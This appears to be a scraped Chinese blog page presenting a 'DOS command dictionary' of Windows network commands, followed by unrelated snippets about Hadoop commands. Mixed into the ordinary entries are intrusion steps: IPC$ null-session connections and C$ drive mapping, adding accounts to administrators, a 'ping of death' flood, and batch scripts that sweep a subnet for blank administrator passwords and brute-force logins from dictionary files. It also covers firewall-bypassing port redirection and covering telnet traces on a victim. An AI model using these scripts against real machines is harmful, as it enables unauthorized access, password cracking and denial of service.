DOS命令字典

2021-04-17 16:52:43 字數 4498 閱讀 6595

dos命令字典

net use //ip/ipc$ " " /user:" " 建立ipc空鏈結

net use //ip/ipc$ "密碼" /user:"使用者名稱" 建立ipc非空鏈結

net use h: //ip/c$ "密碼" /user:"使用者名稱" 直接登陸後對映對方c:到本地為h:

net use h: //ip/c$ 登陸後對映對方c:到本地為h:

net use //ip/ipc$ /del 刪除ipc鏈結

net use h: /del 刪除對映對方到本地的為h:的對映

net user 使用者名稱 密碼 /add 建立使用者

net user guest /active:yes 啟用guest使用者

net user 檢視有哪些使用者

net user 帳戶名 檢視帳戶的屬性

net localgroup ***istrators 使用者名稱 /add 把「使用者」新增到管理員中使其具有管理員許可權,注意:***istrator後加s用複數

net start 檢視開啟了哪些服務

net start 服務名  開啟服務;(如:net start telnet, net start schedule)

net stop 服務名 停止某服務

net time //目標ip 檢視對方時間

net time //目標ip /set 設定本地計算機時間與「目標ip」主機的時間同步,加上引數/yes可取消確認資訊

net view 檢視本地區域網內開啟了哪些共享

net view //ip 檢視對方區域網內開啟了哪些共享

net config 顯示系統網路設定

net logoff 斷開連線的共享

net pause 服務名 暫停某服務

net send ip "文字資訊" 向對方發資訊

net ver 區域網內正在使用的網路連線型別和資訊

net share 檢視本地開啟的共享

net share ipc$ 開啟ipc$共享

net share ipc$ /del 刪除ipc$共享

net share c$ /del 刪除c:共享

net user guest 12345 用guest使用者登陸後用將密碼改為12345

net password 密碼 更改系統登陸密碼

netstat -a 檢視開啟了哪些埠,常用netstat -an

netstat -n 檢視埠的網路連線情況,常用netstat -an

netstat -v 檢視正在進行的工作

netstat -p 協議名 例:netstat -p tcq/ip 檢視某協議使用情況(檢視tcp/ip協議使用情況)

netstat -s 檢視正在使用的所有協議使用情況

nbtstat -a ip 對方136到139其中乙個埠開了的話,就可檢視對方最近登陸的使用者名稱(03前的為使用者名稱)-注意:引數-a要大寫

tracert -引數 ip(或計算機名) 跟蹤路由(資料報),引數:「-w數字」用於設定超時間隔。

ping ip(或網域名稱) 向對方主機傳送預設大小為32位元組的資料,引數:「-l[空格]資料報大小」;「-n傳送資料次數」;「-t」指一直ping。

ping -t -l 65550 ip 死亡之ping(傳送大於64k的檔案並一直ping就成了死亡之ping)

ipconfig (winipcfg) 用於windows nt及xp(windows 95 98)檢視本地ip位址,ipconfig可用引數「/all」顯示全部配置資訊

tlist -t 以樹行列表顯示程序(為系統的附加工具,預設是沒有安裝的,在安裝目錄的support/tools資料夾內)

kill -f 程序名 加-f引數後強制結束某程序(為系統的附加工具,預設是沒有安裝的,在安裝目錄的support/tools資料夾內)

del -f 檔名 加-f引數後就可刪除唯讀檔案,/ar、/ah、/as、/aa分別表示刪除唯讀、隱藏、系統、存檔檔案,/a-r、/a-h、/a-s、/a-a表示刪除除唯讀、隱藏、系統、存檔以外的檔案。例如「del/ar *.*」表示刪除當前目錄下所有唯讀檔案,「del/a-s *.*」表示刪除當前目錄下除系統檔案以外的所有檔案

附:批處理命令與變數

1:for命令及變數 基本格式:

for /引數 %variable in (set) do command [command_parameters] %variable:指定乙個單一字母可替換的引數,如:%i ,而指定乙個變數則用:%%i ,而呼叫變數時用:%i% ,變數是區分大小寫的(%i 不等於 %i)。

批處理每次能處理的變數從%0—%9共10個,其中%0預設給批處理檔名使用,%1預設為使用此批處理時輸入的的第乙個值,同理:%2—%9指輸入的第2-9個值;例:net use //ip/ipc$ pass /user:user 中ip為%1,pass為%2 ,user為%3

(set):指定乙個或一組檔案,可使用萬用字元,如:(d:/user.txt)和(1 1 254)(1 -1 254),

command:指定對第個檔案執行的命令,如:net use命令;如要執行多個命令時,命令這間加:& 來隔開

command_parameters:為特定命令指定引數或命令列開關

in (set):指在(set)中取值;do command :指執行command

引數:/l 指用增量形式;/f 指從檔案中不斷取值,直到取完為止。

用法舉例:

@echo off

echo 用法格式:test.bat *.*.* > test.txt

for /l %%g in (1 1 254) do echo %1.%%g >>test.txt & net use //%1.%%g /user:***istrator | find "命令成功完成" >>test.txt

存為test.bat 說明:對指定的乙個c類網段的254個ip依次試建立***istrator密碼為空的ipc$連線,如果成功就把該ip存在test.txt中。

/l指用增量形式(即從1-254或254-1);輸入的ip前面三位:*.*.*為批處理預設的 %1;%%g 為變數(ip的最後一位);& 用來隔開echo 和net use 這二個命令;| 指建立了ipc$後,在結果中用find檢視是否有"命令成功完成"資訊;%1.%%g 為完整的ip位址;(1 1 254) 指起始值,增長量,結止值。

@echo off

echo 用法格式:ok.bat ip

for /f %%i in (d:/user.dic) do **b.exe %1 %%i d:/pass.dic 200

存為:ok.exe 說明:輸入乙個ip後,用字典檔案d:/pass.dic來暴解d:/user.dic中的使用者密碼,直到檔案中值取完為止。%%i為使用者名稱;%1為輸入的ip位址(預設)。

2:if命令及變數 基本格式:

if [not] errorlevel 數字 命令語句 如果程式執行最後返回乙個等於或大於指定數字的退出編碼,指定條件為「真」。

例:if errorlevel 0 命令 指程式執行後返回的值為0時,就值行後面的命令;if not errorlevel 1 命令指程式執行最後返回的值不等於1,就執行後面的命令。

0 指發現並成功執行(真);1 指沒有發現、沒執行(假)。

if [not] 字串1==字串2 命令語句 如果指定的文字字串匹配(即:字串1 等於 字串2),就執行後面的命令。

例:「if "%2%"=="4" goto start」指:如果輸入的第二個變數為4時,執行後面的命令(注意:呼叫變數時就%變數名%並加" ")

if [not] exist 檔名 命令語句 如果指定的檔名存在,就執行後面的命令。

例:「if not nc.exe goto end」指:如果沒有發現nc.exe檔案就跳到":end"標籤處。

if [not] errorlevel 數字 命令語句 else 命令語句或 if [not] 字串1==字串2 命令語句 else 命令語句或 if [not] exist 檔名 命令語句 else 命令語句 加上:else 命令語句後指:當前面的條件不成立時,就指行else後面的命令。注意:else 必須與 if 在同一行才有效。 當有del命令時需把del命令全部內容用< >括起來,因為del命令要單獨一行時才能執行,用上< >後就等於是單獨一行了;例如:「if exist test.txt. else echo test.txt.missing 」,注意命令中的「.」

dos命令中有詳細介紹。)

fpipe.exe (tcp埠重定向工具) 在第二篇中有詳細說明(埠重定向繞過防火牆)

fpipe -l 80 -s 1029 -r 80 www.sina.com.cn 當有人掃錨你的80埠時,他掃到的結果會完全是www.sina.com.cn的

resumetelnet.exe (opentelnet附帶的另乙個工具)

resumetelnet.exe //ip 帳號 密碼 用telnet連線完對方後,就用這個命令將對方的telnet設定還原,並同時關閉telnet服務。

DOS命令字典 經典收藏

net use ip ipc user 建立ipc空鏈結 net use ip ipc 密碼 user 使用者名稱 建立ipc非空鏈結 net use h ip c 密碼 user 使用者名稱 直接登陸後對映對方c 到本地為h net use h ip c 登陸後對映對方c 到本地為h net us...

Hadoop Shell命令字典

1.chmod與chown的區別是什麼?2.cat將路徑指定檔案的內容輸出到 3.cp能否是不同之間複製?4.hdfs如何檢視檔案大小?5.hdfs如何合併檔案?6.如何顯示當前路徑下的所有資料夾和檔案 7.rm刪除檔案失敗的原因什麼?8.如何檢視檔案的建立時間 9.檢視檔案命令的內容有哪些?能否說...

Hadoop Shell命令字典(可收藏)

可以帶著下面問題來閱讀 1.chmod與chown的區別是什麼?2.cat將路徑指定檔案的內容輸出到 3.cp能否是不同之間複製?4.hdfs如何檢視檔案大小?5.hdfs如何合併檔案?6.如何顯示當前路徑下的所有資料夾和檔案 7.rm刪除檔案失敗的原因什麼?8.如何檢視檔案的建立時間 9.檢視檔案...